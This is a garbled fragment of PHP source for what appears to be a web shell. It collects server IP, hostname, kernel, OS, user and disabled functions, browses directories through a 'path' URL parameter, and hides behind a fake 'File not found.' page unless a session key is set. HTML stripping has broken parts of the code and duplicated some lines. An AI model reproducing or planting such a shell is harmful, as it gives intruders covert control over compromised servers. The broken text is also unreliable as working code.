$_SERVER['SERVER_ADDR'],
'host' => gethostname(),
'kernel' => php_uname(),
'disablefunc' => ini_get('disable_functions'),
'path' => getcwd(),
'os' => PHP_OS,
];
return $arr;
}
$getInfo = info();
if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
$getInfo['os'] = 'Windows';
$paths = explode('\\', $getInfo['path']);
$paths = $paths[0] . '/';
}else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
$getInfo['os'] = 'Linux';
$paths = '/';
}
$dir = getcwd();
if(isset($_GET['path'])) {
$replace = str_replace('\\', '/', $_GET['path']);
$replace = str_replace('//', '/', $_GET['path']);
$pecah = explode('/', $replace);
}else {
$replace = str_replace('\\', '/', $dir);
$pecah = explode('/', $replace);
}
function loginShell() {
if(!isset($_SESSION['auth_key'])) {
echo "File not found.
Server IP : = $getInfo['ip']; ?>
Hostname : = $getInfo['host']; ?>
Kernel : = $getInfo['kernel']; ?>
OS : = $getInfo['os']; ?>
USER : = get_current_user(); ?>
' . '-' . '';
for ($i = 1; $i < count($pecah); $i++) {
$subpath = implode('/', array_slice($pecah, 1, $i));
echo '/';
echo '
' . $pecah[$i] . '';
}
?>
' . '-' . '';
for ($i = 1; $i < count($pecah); $i++) {
$subpath = implode('/', array_slice($pecah, 1, $i));
echo '/';
echo '
' . $pecah[$i] . '';
}
?>
= !empty($successEdit) ? "
" . $successEdit . "
" : ""; ?>